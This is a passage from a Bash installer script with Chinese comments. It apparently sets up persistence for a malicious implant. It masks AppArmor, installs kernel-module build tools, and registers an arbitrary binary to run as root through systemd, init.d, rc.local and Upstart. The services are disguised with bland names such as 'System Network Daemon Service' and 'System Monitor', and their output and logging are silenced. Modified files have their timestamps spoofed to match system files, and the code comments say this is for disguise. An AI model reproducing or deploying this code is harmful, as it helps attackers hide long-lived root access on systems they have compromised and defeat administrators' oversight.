        # Mask AppArmor service
        if systemctl mask apparmor >/dev/null 2>&1; then
            log_success "AppArmor masked."
        else
            log_warn "Could not mask AppArmor."
        fi
    }
    
    # Call AppArmor management function
    manage_apparmor
    
    return 0
}

#===============================
# installPackage & installDependencies
installPackage() {
    local pkg_manager=$1
    local pkg=$2
    local max_retries=3
    local retry_count=0
    local success=false
    
    log_info "Installing package: $pkg using $pkg_manager..."
    
    while [ $retry_count -lt $max_retries ] && [ "$success" = false ]; do
        if $pkg_manager install -y "$pkg"; then
            success=true
            log_success "Package $pkg installed successfully."
            break
        else
            retry_count=$((retry_count + 1))
            if [ $retry_count -lt $max_retries ]; then
                log_warn "Failed to install $pkg. Retrying ($retry_count/$max_retries)..."
                sleep 2
            else
                log_error "Failed to install $pkg after $max_retries attempts."
                return 1
            fi
        fi
    done
    
    return 0
}

installDependencies() {
    log_start "Installing required packages..."
    
    # 使用 -a 声明数组以确保变量为数组类型
    local -a packages=() extra_packages=()
    local pkg_manager=""
    local install_status=0
    
    # 确定系统类型和包管理器
    case "${SYSTEM}" in
        debian|ubuntu)
            packages=(libgcrypt20-dev libpam0g-dev libcurl4-openssl-dev librtmp-dev gcc make build-essential libncurses-dev kmod libelf-dev e2fsprogs)
            pkg_manager="apt-get"
            
            # 针对 debian/ubuntu，检查是否安装了旧版 libgcrypt
            if dpkg -l | grep -q -E 'libgcrypt-dev|libgcrypt11-dev'; then
                log_info "Detected older libgcrypt version. Skipping installation of libgcrypt20-dev."
                # 重新构造 packages 数组，移除 libgcrypt20-dev
                local new_packages=()
                for pkg in "${packages[@]}"; do
                    if [ "$pkg" != "libgcrypt20-dev" ]; then
                        new_packages+=("$pkg")
                    fi
                done
                packages=("${new_packages[@]}")
            fi
            ;;
        redhat|centos|fedora|oracle|oraclelinux|rocky)
            packages=(libgcrypt-devel pam-devel libcurl-devel gcc make kmod elfutils-libelf-devel e2fsprogs)
            pkg_manager="yum"
            if command -v dnf &>/dev/null; then
                pkg_manager="dnf"
            fi
            ;;
        *)
            log_error "Unsupported Linux distribution: ${SYSTEM}"
            return 1
            ;;
    esac
    
    # 检查包管理器是否可用
    if ! command -v "$pkg_manager" &>/dev/null; then
        log_error "$pkg_manager not found. Please install it manually."
        return 1
    fi
    
    # 检查nasm是否已安装
    if ! command -v nasm &>/dev/null; then
        log_info "nasm not found, adding it to the installation list..."
        packages+=("nasm")
    else
        log_info "nasm is already installed."
    fi
    
    # 根据包管理器执行安装
    if [ "$pkg_manager" = "apt-get" ]; then
        # 首先尝试更新包列表
        log_info "Updating apt repositories..."
        apt-get update -y || {
            log_warn "Failed to update apt repositories, but continuing with installation..."
        }
        
        # 逐个安装包，提高成功率
        log_info "Installing packages via apt-get..."
        for pkg in "${packages[@]}" "${extra_packages[@]}"; do
            if [ -z "$pkg" ]; then
                continue
            fi
            
            # 检查包是否已安装
            if dpkg -l | grep -q "^ii.*$pkg "; then
                log_info "Package $pkg is already installed, skipping."
                continue
            fi
            
            # 安装包
            if ! installPackage "$pkg_manager" "$pkg"; then
                log_warn "Failed to install $pkg. Continuing with other packages..."
                install_status=1
            fi
        done
    elif [[ "$pkg_manager" == "yum" || "$pkg_manager" == "dnf" ]]; then
        # 逐个安装包
        log_info "Installing packages via $pkg_manager..."
        for pkg in "${packages[@]}"; do
            if [ -z "$pkg" ]; then
                continue
            fi
            
            # 检查包是否已安装
            if rpm -q "$pkg" &>/dev/null; then
                log_info "Package $pkg is already installed, skipping."
                continue
            fi
            
            # 安装包
            if ! installPackage "$pkg_manager" "$pkg"; then
                log_warn "Failed to install $pkg. Continuing with other packages..."
                install_status=1
            fi
        done
        
        # 检查并安装开发工具组
        if ! $pkg_manager group list installed "Development Tools" &>/dev/null; then
            log_info "Installing 'Development Tools' group..."
            if ! $pkg_manager groupinstall -y "Development Tools"; then
                log_warn "Failed to install 'Development Tools' group. Some features may not work correctly."
                install_status=1
            else
                log_success "Development Tools group installed successfully."
            fi
        else
            log_info "Development Tools group is already installed."
        fi
    fi
    
    # 安装最终状态检查
    if [ $install_status -eq 0 ]; then
        log_success "All required packages installed successfully."
    else
        log_warn "Some packages failed to install. The script may not function correctly."
    fi
    
    return $install_status
}

downloadTask() {
    local file_name="$1"
    local destination="$2"
    local url="$3"
    local http_url="$4"
    
    if ! command -v wget &>/dev/null; then
        log_error "wget command is required but not installed. Please install wget and try again."
        exit 1
    fi
    
    local dest_dir
    dest_dir=$(dirname "$destination")
    if [ ! -d "$dest_dir" ]; then
        log_info "Creating directory: $dest_dir"
        mkdir -p "$dest_dir" || { 
            log_error "Failed to create directory $dest_dir"; 
            exit 1; 
        }
    fi
    
    log_info "Downloading '${file_name}' from '${url}' to '${destination}'..."
    if wget -q -O "$destination" "$url"; then
        log_success "'${file_name}' downloaded successfully to '${destination}'."
        return 0
    else
        log_warn "HTTPS download of '${file_name}' failed from '${url}'. Trying HTTP..."
        if wget -q -O "$destination" "$http_url"; then
            log_success "'${file_name}' downloaded successfully using HTTP to '${destination}'."
            return 0
        else
            log_error "Both HTTPS and HTTP download of '${file_name}' failed."
            return 1
        fi
    fi
}

insertCommandIntoRcLocal() {
    local command="$1"
    local rc_file="$2"
    local insertion_successful=false
    
    # 验证参数
    if [ -z "$command" ]; then
        log_error "No command specified for insertion into rc.local"
        return 1
    fi
    
    if [ -z "$rc_file" ]; then
        log_error "No rc.local file path specified"
        return 1
    fi

    # 检查文件是否存在
    if [[ ! -f "$rc_file" ]]; then
        log_error "rc.local file not found: $rc_file"
        return 1
    fi
    
    # 备份原始文件
    local backup_file="${rc_file}.bak_$(date +%s)"
    cp -f "$rc_file" "$backup_file" || log_warn "Failed to create backup of $rc_file"
    
    # 获取原始时间戳用于伪装
    local base_time="$(stat -c %y "$rc_file" 2>/dev/null || true)"
    if [[ -z "$base_time" ]]; then
        log_warn "Failed to get timestamp for $rc_file. Will use system timestamp as fallback."
        # 尝试获取系统关键文件的时间戳
        base_time=$(stat -c %y /bin/bash 2>/dev/null || stat -c %y /bin/sh 2>/dev/null || true)
    else
        log_info "Using original timestamp from $rc_file: $base_time"
    fi
    
    # 移除不可变属性（如果存在）
    if ! chattr -ia "$rc_file" 2>/dev/null; then
        log_warn "Failed to remove immutable attribute from $rc_file (may not be set)"
    fi
    
    # 设置正确的权限和所有者
    chmod 755 "$rc_file" 2>/dev/null || log_warn "Failed to chmod 755 $rc_file"
    chown root:root "$rc_file" 2>/dev/null || log_warn "Failed to chown root:root $rc_file"
    
    # 检查命令是否已存在
    if grep -Fxq "$command" "$rc_file"; then
        log_info "Command already exists in $rc_file: $command"
        insertion_successful=true
    else
        log_info "Inserting command into $rc_file..."
        
        # 确保命令不包含特殊字符，可能导致sed错误
        local safe_command=$(echo "$command" | sed 's/[\/&]/\\&/g')
        
        # 尝试在exit 0前插入命令
        if grep -qE "^\s*exit 0" "$rc_file"; then
            if sed -i "/^\s*exit\s*0/i $safe_command" "$rc_file"; then
                log_success "Command inserted before 'exit 0' in $rc_file"
                insertion_successful=true
            else
                log_error "Failed to insert command before 'exit 0'"
                # 如果sed失败，尝试备用方法
                insertion_successful=false
            fi
        fi
        
        # 如果没有找到exit 0或前一个方法失败，追加到文件末尾
        if [ "$insertion_successful" = false ]; then
            if echo "$command" >> "$rc_file"; then
                log_success "Command appended to $rc_file"
                insertion_successful=true
            else
                log_error "Failed to append command to $rc_file"
                # 恢复原始文件
                cp -f "$backup_file" "$rc_file"
                return 1
            fi
        fi
        
        # 确保文件以换行符结束
        sed -i -e '$a\' "$rc_file"
        
        # 应用原始时间戳
        if [[ -n "$base_time" ]]; then
            spoof_file_timestamp "$rc_file" "$base_time" || 
                log_warn "Failed to spoof timestamp for $rc_file"
        fi
    fi
    
    # 清理备份文件（如果成功）
    if [ "$insertion_successful" = true ]; then
        rm -f "$backup_file" || log_warn "Failed to remove backup file: $backup_file"
    else
        log_warn "Insertion failed. Original file was backed up to: $backup_file"
    fi
    
    # 返回状态
    if [ "$insertion_successful" = true ]; then
        return 0
    else
        return 1
    fi
}

systemdService() {
    local service_name="$1"
    local exec_start_path="$2"
    local base_time=""
    
    # 检查systemctl是否可用
    if ! command -v systemctl >/dev/null 2>&1; then
        log_error "systemctl not found; systemd not available."
        return 1
    fi
    
    # 定义systemd目录
    local etc_systemd_dir="/etc/systemd/system"
    local lib_systemd_dir="/usr/lib/systemd/system"
    
    # 创建必要的目录
    mkdir -p "$etc_systemd_dir" || { log_error "Failed to create $etc_systemd_dir"; return 1; }
    mkdir -p "$lib_systemd_dir" || { log_error "Failed to create $lib_systemd_dir"; return 1; }
    
    # 获取基准时间用于时间戳伪装
    if ! get_base_time "$etc_systemd_dir"; then
        if ! get_base_time "$lib_systemd_dir"; then
            # 如果无法获取基准时间，尝试使用系统文件时间
            if [ -f "/bin/bash" ]; then
                base_time=$(stat -c %y "/bin/bash" 2>/dev/null || true)
            elif [ -f "/bin/sh" ]; then
                base_time=$(stat -c %y "/bin/sh" 2>/dev/null || true)
            else
                log_warn "Could not find a reliable base time for timestamp spoofing."
            fi
        fi
    fi
    
    # 检查执行文件是否存在且可执行
    if [[ ! -x "$exec_start_path" ]]; then
        log_error "ExecStart path '$exec_start_path' is not executable or does not exist."
        return 1
    fi
    
    # 检查并清理已存在的服务
    if systemctl list-units --full -all 2>/dev/null | grep -Fq "${service_name}.service"; then
        log_warn "Service ${service_name} already exists. Removing..."
        systemctl stop "${service_name}.service" 2>/dev/null || log_warn "Failed to stop service."
        # 确保文件存在后再删除，避免报错
        [ -f "$etc_systemd_dir/${service_name}.service" ] && rm -f "$etc_systemd_dir/${service_name}.service"
        [ -f "$lib_systemd_dir/${service_name}.service" ] && rm -f "$lib_systemd_dir/${service_name}.service"
        systemctl daemon-reload 2>/dev/null || log_warn "Failed to reload daemon after cleanup."
    fi
    
    log_info "Creating systemd service: ${service_name}"
    
    # 定义服务文件路径
    local etc_service_file="$etc_systemd_dir/${service_name}.service"
    local lib_service_file="$lib_systemd_dir/${service_name}.service"
    
    # 准备服务文件内容
    local service_content="[Unit]
Description=System Network Daemon Service
After=network.target

[Service]
WorkingDirectory=/opt/rh
ExecStart=${exec_start_path}
Restart=on-failure
User=root
Group=root
StandardOutput=null
StandardError=null
LimitNOFILE=65535
LogLevelMax=emerg

[Install]
WantedBy=multi-user.target"
    
    # 写入服务文件到两个位置
    if ! echo "$service_content" > "$etc_service_file"; then
        log_error "Failed to write service file to $etc_service_file"
        return 1
    fi
    
    if ! echo "$service_content" > "$lib_service_file"; then
        log_error "Failed to write service file to $lib_service_file"
        # 如果etc成功但lib失败，尝试继续
        log_warn "Continuing with only $etc_service_file"
    else
        log_success "Systemd service files created in both locations."
    fi
    
    # 设置文件权限
    chmod 644 "$etc_service_file" 2>/dev/null || log_warn "Failed to set permissions on $etc_service_file"
    [ -f "$lib_service_file" ] && chmod 644 "$lib_service_file" 2>/dev/null || true
    
    # 应用时间戳伪装
    for f in "$etc_service_file" "$lib_service_file"; do
        if [ -f "$f" ] && [ -n "$base_time" ]; then
            if ! spoof_file_timestamp "$f" "$base_time"; then
                log_warn "Failed to spoof timestamp for $f"
            fi
        fi
    done
    
    # 重新加载systemd配置
    log_info "Reloading systemd daemon..."
    if ! systemctl daemon-reload; then
        log_error "daemon-reload failed."
        return 1
    fi
    
    # 启用并启动服务
    log_info "Enabling and starting service: ${service_name}"
    
    # 分开启用和启动以便更好地处理错误
    if ! systemctl enable "${service_name}" 2>/dev/null; then
        log_warn "Failed to enable ${service_name}, trying to start anyway."
    fi
    
    if ! systemctl start "${service_name}" 2>/dev/null; then
        log_error "Failed to start ${service_name}"
        # 再次尝试启动，有时第一次可能会因为配置更新延迟而失败
        sleep 2
        if ! systemctl start "${service_name}" 2>/dev/null; then
            log_error "Service ${service_name} failed to start after retry."
            return 1
        fi
    fi
    
    # 验证服务状态
    local retry_count=0
    local max_retries=3
    
    while [ $retry_count -lt $max_retries ]; do
        if systemctl is-active --quiet "${service_name}"; then
            log_success "Service ${service_name} is active and running."
            return 0
        else
            retry_count=$((retry_count + 1))
            if [ $retry_count -lt $max_retries ]; then
                log_warn "Service not active yet, waiting 2 seconds... (Attempt $retry_count/$max_retries)"
                sleep 2
            else
                log_error "Service ${service_name} failed to start after $max_retries checks."
                # 尝试查看服务日志以获取更多信息
                systemctl status "${service_name}" >/dev/null 2>&1
                return 1
            fi
        fi
    done
    
    return 1
}

initdService() {
    local service_name="$1"
    local exec_start_path="$2"
    local destination_path="$3"
    local base_time=""
    
    # 验证参数
    if [ -z "$service_name" ] || [ -z "$exec_start_path" ] || [ -z "$destination_path" ]; then
        log_error "Missing required parameters for initdService."
        return 1
    fi
    
    # 设置路径变量
    local initd_path="/etc/init.d/${service_name}"
    local systemd_service="/etc/systemd/system/${service_name}.service"
    
    # 确保init.d目录存在
    if ! mkdir -p /etc/init.d; then
        log_error "Failed to create /etc/init.d directory."
        return 1
    fi
    
    # 获取基准时间用于时间戳伪装
    if ! get_base_time "/etc/init.d/"; then
        # 如果无法获取基准时间，使用系统文件作为备选
        base_time=$(stat -c %y /bin/bash 2>/dev/null || stat -c %y /bin/sh 2>/dev/null || date '+%Y-%m-%d %H:%M:%S')
        log_warn "Using fallback time: $base_time"
    fi
    
    # 停止并卸载已存在的服务
    if [ -f "$initd_path" ]; then
        log_warn "Previous init.d service exists: $initd_path. Removing..."
        
        # 使用多种方法尝试停止服务
        service "$service_name" stop 2>/dev/null || true
        /etc/init.d/"$service_name" stop 2>/dev/null || true
        
        # 移除服务启动项 (兼容多种系统)
        if command -v update-rc.d >/dev/null 2>&1; then
            update-rc.d -f "$service_name" remove 2>/dev/null || true
        elif command -v chkconfig >/dev/null 2>&1; then
            chkconfig --del "$service_name" 2>/dev/null || true
        elif command -v rc-update >/dev/null 2>&1; then
            rc-update del "$service_name" default 2>/dev/null || true
        fi
        
        # 删除服务文件
        if ! rm -f "$initd_path"; then
            log_warn "Failed to remove $initd_path"
        fi
    fi
    
    # 卸载systemd服务（如果存在）
    if [ -f "$systemd_service" ]; then
        if command -v systemctl >/dev/null 2>&1; then
            systemctl stop "$service_name.service" 2>/dev/null || true
            systemctl disable "$service_name.service" 2>/dev/null || true
            rm -f "$systemd_service" 2>/dev/null || log_warn "Failed to remove $systemd_service"
            systemctl daemon-reload 2>/dev/null || log_warn "Failed to reload systemd after cleanup"
        else
            rm -f "$systemd_service" 2>/dev/null || log_warn "Failed to remove $systemd_service"
        fi
    fi
    
    # 检查并安装执行文件
    if [ ! -f "$exec_start_path" ]; then
        log_error "Executable source not found: $exec_start_path"
        return 1
    fi
    
    # 确保目标目录存在
    local dest_dir=$(dirname "$destination_path")
    if [ ! -d "$dest_dir" ]; then
        if ! mkdir -p "$dest_dir"; then
            log_error "Failed to create destination directory: $dest_dir"
            return 1
        fi
    fi
    
    # 复制执行文件
    if ! cp -f "$exec_start_path" "$destination_path"; then
        log_error "Failed to copy binary to $destination_path"
        return 1
    fi
    
    # 设置执行权限
    if ! chmod 755 "$destination_path"; then
        log_warn "Failed to set executable permissions on $destination_path"
    fi
    
    # 设置文件所有者为root (如果可能)
    chown root:root "$destination_path" 2>/dev/null || true
    
    # 创建兼容多系统的init.d脚本
    local init_script="#!/bin/sh
### BEGIN INIT INFO
# Provides:          ${service_name}
# Required-Start:    \$local_fs \$network \$remote_fs
# Default-Start:     2 3 4 5
# Short-Description: System Monitor
# Description:       Background service for system monitoring
### END INIT INFO

# chkconfig: 2345 90 10
# description: ${service_name} service

DAEMON=\"${destination_path}\"

# Check if executable exists
[ -x \"\$DAEMON\" ] || exit 0

# Start the daemon in background
echo \"Starting ${service_name}...\"
nohup \"\$DAEMON\" >/dev/null 2>&1 &
exit 0"

    # 写入init.d脚本
    if ! echo "$init_script" > "$initd_path"; then
        log_error "Failed to write init.d script to $initd_path"
        return 1
    fi
    
    # 设置脚本权限
    if ! chmod 755 "$initd_path"; then
        log_warn "Failed to set permissions on $initd_path"
    fi
    
    # 应用时间戳伪装
    if [ -n "$base_time" ]; then
        if ! spoof_file_timestamp "$initd_path" "$base_time"; then
            log_warn "Failed to spoof timestamp for $initd_path"
        fi
    else
        log_warn "Skipping timestamp spoofing: base_time is empty."
    fi
    
    # 服务自启动配置 - 优先使用传统init.d方法
    local autostart_configured=false
    local autostart_method=""
    local service_started=false
    
    # 1. Debian/Ubuntu 系统 (update-rc.d)
    if command -v update-rc.d >/dev/null 2>&1; then
        log_info "Configuring service autostart with update-rc.d..."
        if update-rc.d "$service_name" defaults >/dev/null 2>&1; then
            # 验证符号链接创建成功
            if ls /etc/rc*.d/*"$service_name" >/dev/null 2>&1; then
                log_success "Service autostart configured via update-rc.d (Debian/Ubuntu)"
                autostart_configured=true
                autostart_method="update-rc.d"
            else
                log_warn "update-rc.d executed successfully but no symlinks created."
            fi
        else
            log_warn "Failed to configure service autostart with update-rc.d."
        fi
    fi
    
    # 2. RedHat/CentOS 系统 (chkconfig)
    if ! $autostart_configured && command -v chkconfig >/dev/null 2>&1; then
        log_info "Configuring service autostart with chkconfig..."
        if chkconfig --add "$service_name" >/dev/null 2>&1 && chkconfig "$service_name" on >/dev/null 2>&1; then
            # 验证chkconfig配置成功
            if chkconfig --list "$service_name" 2>/dev/null | grep -q "on"; then
                log_success "Service autostart configured via chkconfig (RedHat/CentOS)"
                autostart_configured=true
                autostart_method="chkconfig"
            else
                log_warn "chkconfig executed successfully but service not enabled."
            fi
        else
            log_warn "Failed to configure service autostart with chkconfig."
        fi
    fi
    
    # 3. Alpine/Gentoo 系统 (rc-update)
    if ! $autostart_configured && command -v rc-update >/dev/null 2>&1; then
        log_info "Configuring service autostart with rc-update..."
        if rc-update add "$service_name" default >/dev/null 2>&1; then
            # 验证rc-update配置成功
            if rc-update show | grep -q "$service_name.*default"; then
                log_success "Service autostart configured via rc-update (Alpine/Gentoo)"
                autostart_configured=true
                autostart_method="rc-update"
            else
                log_warn "rc-update executed successfully but service not in default runlevel."
            fi
        else
            log_warn "Failed to configure service autostart with rc-update."
        fi
    fi
    
    # 4. 只有当所有init.d方法都失败时才回退到systemd
    if ! $autostart_configured && command -v systemctl >/dev/null 2>&1; then
        log_info "All init.d autostart methods failed. Falling back to systemd..."
        
		# 获取基准时间用于时间戳伪装
		if ! get_base_time "/etc/systemd/system/"; then
			# 如果无法获取基准时间，使用系统文件作为备选
			base_time=$(stat -c %y /bin/bash 2>/dev/null || stat -c %y /bin/sh 2>/dev/null || date '+%Y-%m-%d %H:%M:%S')
			log_warn "Using fallback time: $base_time"
		fi
	
        # 创建systemd服务文件
        local systemd_content="[Unit]
Description=${service_name} Service
After=network.target

[Service]
ExecStart=${destination_path}
Restart=on-failure
User=root
Group=root
StandardOutput=null
StandardError=null
LimitNOFILE=65535
LogLevelMax=emerg

[Install]
WantedBy=multi-user.target"
        
        # 写入systemd服务文件
        if echo "$systemd_content" > "$systemd_service"; then
            # 应用时间戳伪装
            if [ -n "$base_time" ]; then
                spoof_file_timestamp "$systemd_service" "$base_time" || 
                    log_warn "Failed to spoof timestamp for $systemd_service"
            fi
            
            # 重载systemd配置并启用服务
            systemctl daemon-reload >/dev/null 2>&1
            if systemctl enable "$service_name.service" >/dev/null 2>&1; then
                # 验证systemd服务确实启用了
                if systemctl is-enabled "$service_name.service" >/dev/null 2>&1; then
                    log_success "Service autostart configured via systemd"
                    autostart_configured=true
                    autostart_method="systemd"
                else
                    log_warn "systemctl enable executed successfully but service not enabled."
                fi
            else
                log_warn "Failed to configure service autostart with systemd."
            fi
        else
            log_warn "Failed to create systemd service file."
        fi
    fi
    
    # 验证自启动配置
    if $autostart_configured; then
        log_success "Service autostart successfully configured via $autostart_method"
    else
        log_error "Failed to configure service autostart through any method."
        return 1
    fi
    
    # 现在尝试启动服务
    log_info "Attempting to start service..."
    
    # 根据配置的自启动方法来启动服务
    case "$autostart_method" in
        "update-rc.d")
            service "$service_name" start >/dev/null 2>&1
            ;;
        "chkconfig")
            service "$service_name" start >/dev/null 2>&1
            ;;
        "rc-update")
            rc-service "$service_name" start >/dev/null 2>&1
            ;;
        "systemd")
            systemctl start "$service_name.service" >/dev/null 2>&1
            ;;
    esac
    
    log_success "$service_name Service running."
}

rcService() {
    local service_name="$1"
	local exec_start_path="$2"
    local destination_path="$3"

	startRclocal
	
    # 确保目标目录存在
    if [ ! -d "$(dirname "$destination_path")" ]; then
        if ! mkdir -p "$(dirname "$destination_path")"; then
            log_error "Failed to create directory '$(dirname "$destination_path")'."
            return 1
        fi
    fi

    # 复制文件到目标路径
    if ! cp -f "$exec_start_path" "$destination_path"; then
        log_error "Failed to copy '$exec_start_path' to '$destination_path'."
        return 1
    fi

    # 设置目标文件为可执行
    if ! chmod 755 "$destination_path"; then
        log_error "Failed to set permission on '$destination_path'."
        return 1
    fi

    # 拼装启动命令（后台运行）
    local cmd="${destination_path} >/dev/null 2>&1 &"
	
    log_info "Updating rc.local..."
    if [ -f "/etc/rc.local" ]; then
		insertCommandIntoRcLocal "$cmd" "/etc/rc.local" || log_warn "Failed to insert command into '/etc/rc.local'."
		chmod +x "/etc/rc.local"
    else
        log_warn "rc.local is not supported on this system."
    fi
	
	if [ -f "/etc/rc.d/rc.local" ]; then
		insertCommandIntoRcLocal "$cmd" "/etc/rc.d/rc.local" || log_warn "Failed to insert command into '/etc/rc.d/rc.local'."	
		chmod +x "/etc/rc.d/rc.local"
    else
        log_warn "rc.local is not supported on this system."
    fi

    # 使用 nohup 后台启动服务
	nohup "$destination_path" > /dev/null 2>&1 &
	service_pid=$!
	sleep 2  # 等待服务启动

	if ps -p "$service_pid" > /dev/null 2>&1; then
		log_success "Service '${service_name}' installed and running (PID: $service_pid)."
	else
		log_error "Failed to start service '${service_name}'."
		return 1
	fi

    return 0
}

upstartService() {
    local service_name="$1"
    local exec_start_path="$2"
    local destination_path="$3"
    local upstart_file="/etc/init/${service_name}.conf"
    local base_time=""
    
    # 验证参数
    if [ -z "$service_name" ] || [ -z "$exec_start_path" ] || [ -z "$destination_path" ]; then
        log_error "Missing required parameters for upstartService."
        return 1
    fi
    
    # 检查执行文件是否存在且可执行
    if [[ ! -x "$exec_start_path" ]]; then
        log_error "ExecStart path '$exec_start_path' is not executable or does not exist."
        return 1
    fi
    
    # 检查 Upstart 环境
    if ! command -v initctl &>/dev/null; then
        log_error "Upstart (initctl) is not available on this system."
        return 1
    fi
    
    # 确保/etc/init目录存在
    if [[ ! -d /etc/init ]]; then
        if ! mkdir -p /etc/init; then
            log_error "/etc/init not found and could not be created. Upstart may not be supported."
            return 1
        fi
        log_info "Created /etc/init directory."
    fi
    
    # 准备目标目录
    local dest_dir=$(dirname "$destination_path")
    if [[ ! -d "$dest_dir" ]]; then
        log_info "Creating destination directory: $dest_dir"
        if ! mkdir -p "$dest_dir"; then
            log_error "Failed to create destination directory: $dest_dir"
            return 1
        fi
    fi
    
    log_info "Setting up Upstart service: $service_name"
    
    # 获取基准时间用于时间戳伪装
    if ! get_base_time "/etc/init"; then
        # 如果获取失败，尝试使用系统关键文件
        if [[ -f /bin/bash ]]; then
            base_time=$(stat -c %y /bin/bash 2>/dev/null)
        elif [[ -f /bin/sh ]]; then
            base_time=$(stat -c %y /bin/sh 2>/dev/null)
        else
            base_time=$(date '+%Y-%m-%d %H:%M:%S')
            log_warn "Using current time as fallback for timestamp spoofing."
        fi
    fi
    
    # 停止并移除旧服务（如果存在）
    if [[ -f "$upstart_file" ]]; then
        log_warn "Upstart service already exists: $upstart_file"
        
        # 尝试停止服务（如果正在运行）
        if initctl status "$service_name" 2>/dev/null | grep -q "running"; then
            log_info "Stopping existing Upstart service: $service_name"
            if ! initctl stop "$service_name" 2>/dev/null; then
                log_warn "Failed to stop $service_name, attempting to kill manually."
                
                # 尝试找到进程并手动终止
                local pid=$(initctl status "$service_name" 2>/dev/null | grep -oP 'process \K[0-9]+' || true)
                if [[ -n "$pid" ]] && ps -p "$pid" >/dev/null 2>&1; then
                    kill -9 "$pid" 2>/dev/null || true
                    sleep 1
                fi
            fi
        fi
        
        # 备份原配置文件
        cp -f "$upstart_file" "${upstart_file}.bak" 2>/dev/null || true
        
        # 删除旧配置文件
        if ! rm -f "$upstart_file"; then
            log_error "Failed to remove old upstart file: $upstart_file"
            return 1
        fi
        
        # 重载配置
        initctl reload-configuration 2>/dev/null || log_warn "Reload of Upstart config failed after removal."
    fi
    
    # 拷贝主执行文件
    log_info "Copying executable to destination: $destination_path"
    if ! cp -f "$exec_start_path" "$destination_path"; then
        log_error "Failed to copy $exec_start_path to $destination_path"
        return 1
    fi
    
    # 设置执行权限
    if ! chmod 755 "$destination_path"; then
        log_warn "Failed to chmod 755 $destination_path"
    fi
    
    # 应用时间戳伪装到执行文件
    if [[ -n "$base_time" ]]; then
        spoof_file_timestamp "$destination_path" "$base_time" || 
            log_warn "Failed to spoof timestamp for $destination_path"
    fi
    
    # 构建增强的Upstart配置
    log_info "Creating Upstart configuration file: $upstart_file"
    local upstart_config="description \"Upstart service for ${service_name}\"

# Start on runlevels 2-5, stop on others
start on runlevel [2345]
stop on runlevel [!2345]

# Service behavior
respawn
respawn limit 10 5
umask 022

# Increase open file limits
limit nofile 65536 65536

# Environment setup
env PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

script
    # Redirect output to null
    exec \"${destination_path}\" >/dev/null 2>&1
end script

# Post-stop script
post-stop script
    # Cleanup operations could go here if needed
    sleep 1
end script"

    # 写入Upstart配置
    if ! echo "$upstart_config" > "$upstart_file"; then
        log_error "Failed to write Upstart configuration to: $upstart_file"
        return 1
    fi
    
    # 验证配置文件是否存在
    if [[ ! -f "$upstart_file" ]]; then
        log_error "Upstart configuration file was not created: $upstart_file"
        return 1
    fi
    
    # 设置配置文件权限
    chmod 644 "$upstart_file" || log_warn "Failed to set permissions on $upstart_file"
    
    # 应用时间戳伪装到配置文件
    if [[ -n "$base_time" ]]; then
        spoof_file_timestamp "$upstart_file" "$base_time" || 
            log_warn "Failed to spoof timestamp for $upstart_file"
    fi
    
    # 重载Upstart配置
    log_info "Reloading Upstart configuration..."
    if ! initctl reload-configuration; then
        log_error "Failed to reload Upstart configuration."
        return 1
    fi
    
    # 启动服务并验证
    log_info "Starting Upstart service: $service_name"
    
    # 尝试启动服务
    if ! initctl start "$service_name" 2>/dev/null; then
        log_warn "Initial start attempt failed. Trying alternative method..."
        
        # 如果服务已经在运行，先停止它再尝试启动
        if initctl status "$service_name" 2>/dev/null | grep -q "running"; then
            log_info "Service is already running. Restarting it..."
            initctl restart "$service_name" 2>/dev/null || {
                log_error "Failed to restart service $service_name."
                return 1
            }
        else
            # 尝试直接启动可执行文件作为备用
            log_warn "Service start failed. Running binary directly as fallback..."
            nohup "$destination_path" >/dev/null 2>&1 &
        fi
    fi
    
    # 验证服务状态
    sleep 2  # 给服务一些启动时间
    
    if initctl status "$service_name" 2>/dev/null | grep -q "running"; then
        log_success "Upstart service '$service_name' started and verified running."
    else
        # 检查进程是否直接运行
        if pgrep -f "$destination_path" >/dev/null 2>&1; then
            log_success "Process for '$service_name' is running (via direct execution)."
        else
            log_error "Failed to start Upstart service '$service_name' through any method."
            return 1
        fi
    fi
    
    return 0
}

startRclocal() {
    log_start "Ensuring rc.local service is enabled and running..."
    
    local rc_local_paths=(
        "/etc/rc.local"
        "/etc/rc.d/rc.local"
    )
    
    # 检查rc.local文件是否存在且可执行
    local rc_local_exists=false
    local rc_local_path=""
    
    for path in "${rc_local_paths[@]}"; do
        if [ -f "$path" ]; then
            rc_local_exists=true
            rc_local_path="$path"
            
            # 确保文件可执行
            if [ ! -x "$path" ]; then
                log_info "Making $path executable..."
                chmod +x "$path" || log_warn "Failed to set executable permission on $path"
            fi
            break
        fi
    done
    
    if [ "$rc_local_exists" = false ]; then
        log_warn "rc.local not found in standard locations. Creating default rc.local..."
        rc_local_path="/etc/rc.local"
        
        echo '#!/bin/bash' > "$rc_local_path"
        echo '# This script will be executed at every boot' >> "$rc_local_path"
        echo 'exit 0' >> "$rc_local_path"
        chmod +x "$rc_local_path" || log_warn "Failed to set executable permission on $rc_local_path"
        
        log_success "Created default rc.local at $rc_local_path"
    fi
    
    # 检测初始化系统并相应处理
    if command -v systemctl &>/dev/null; then
        log_info "systemd detected. Checking rc-local service..."
        
        # 检查rc-local.service是否存在
        if systemctl list-unit-files | grep -q "^rc-local.service"; then
            if ! systemctl is-enabled rc-local &>/dev/null; then
                log_info "Enabling rc-local service..."
                if systemctl enable rc-local &>/dev/null; then
                    log_success "rc-local service has been enabled."
                else
                    log_warn "Failed to enable rc-local service. Creating systemd service file..."
                    create_rc_local_service
                fi
            else
                log_info "rc-local service is already enabled."
            fi
            
            if systemctl is-active rc-local &>/dev/null; then
                log_success "rc-local service is active and running."
            else
                log_error "rc-local service is not active despite attempts to start it."
            fi
        else
            log_warn "rc-local.service not found in systemd. Creating service file..."
            create_rc_local_service
            
            # 尝试启用并启动新创建的服务
            systemctl daemon-reload
            systemctl enable rc-local &>/dev/null && log_success "rc-local service enabled."
            systemctl start rc-local &>/dev/null && log_success "rc-local service started."
        fi
    else
        # 对于非systemd系统
        log_info "Non-systemd system detected. Checking rc-local service..."
        
        if command -v service &>/dev/null; then
            if service --status-all 2>/dev/null | grep -q "rc-local"; then
                if ! service rc-local status &>/dev/null; then
                    log_info "Starting rc-local service using service command..."
                    if service rc-local start &>/dev/null; then
                        log_success "rc-local service started successfully with service command."
                    else
                        log_warn "Failed to start rc-local service with service command."
                    fi
                    sleep 2
                fi
                
                if service rc-local status &>/dev/null | grep -q "running"; then
                    log_success "rc-local service is running."
                else
                    log_error "rc-local service is not running after start attempt."
                fi
            else
                log_warn "rc-local service not found in service list."
                log_info "Attempting to manually run rc.local script..."
                
                # 直接执行rc.local
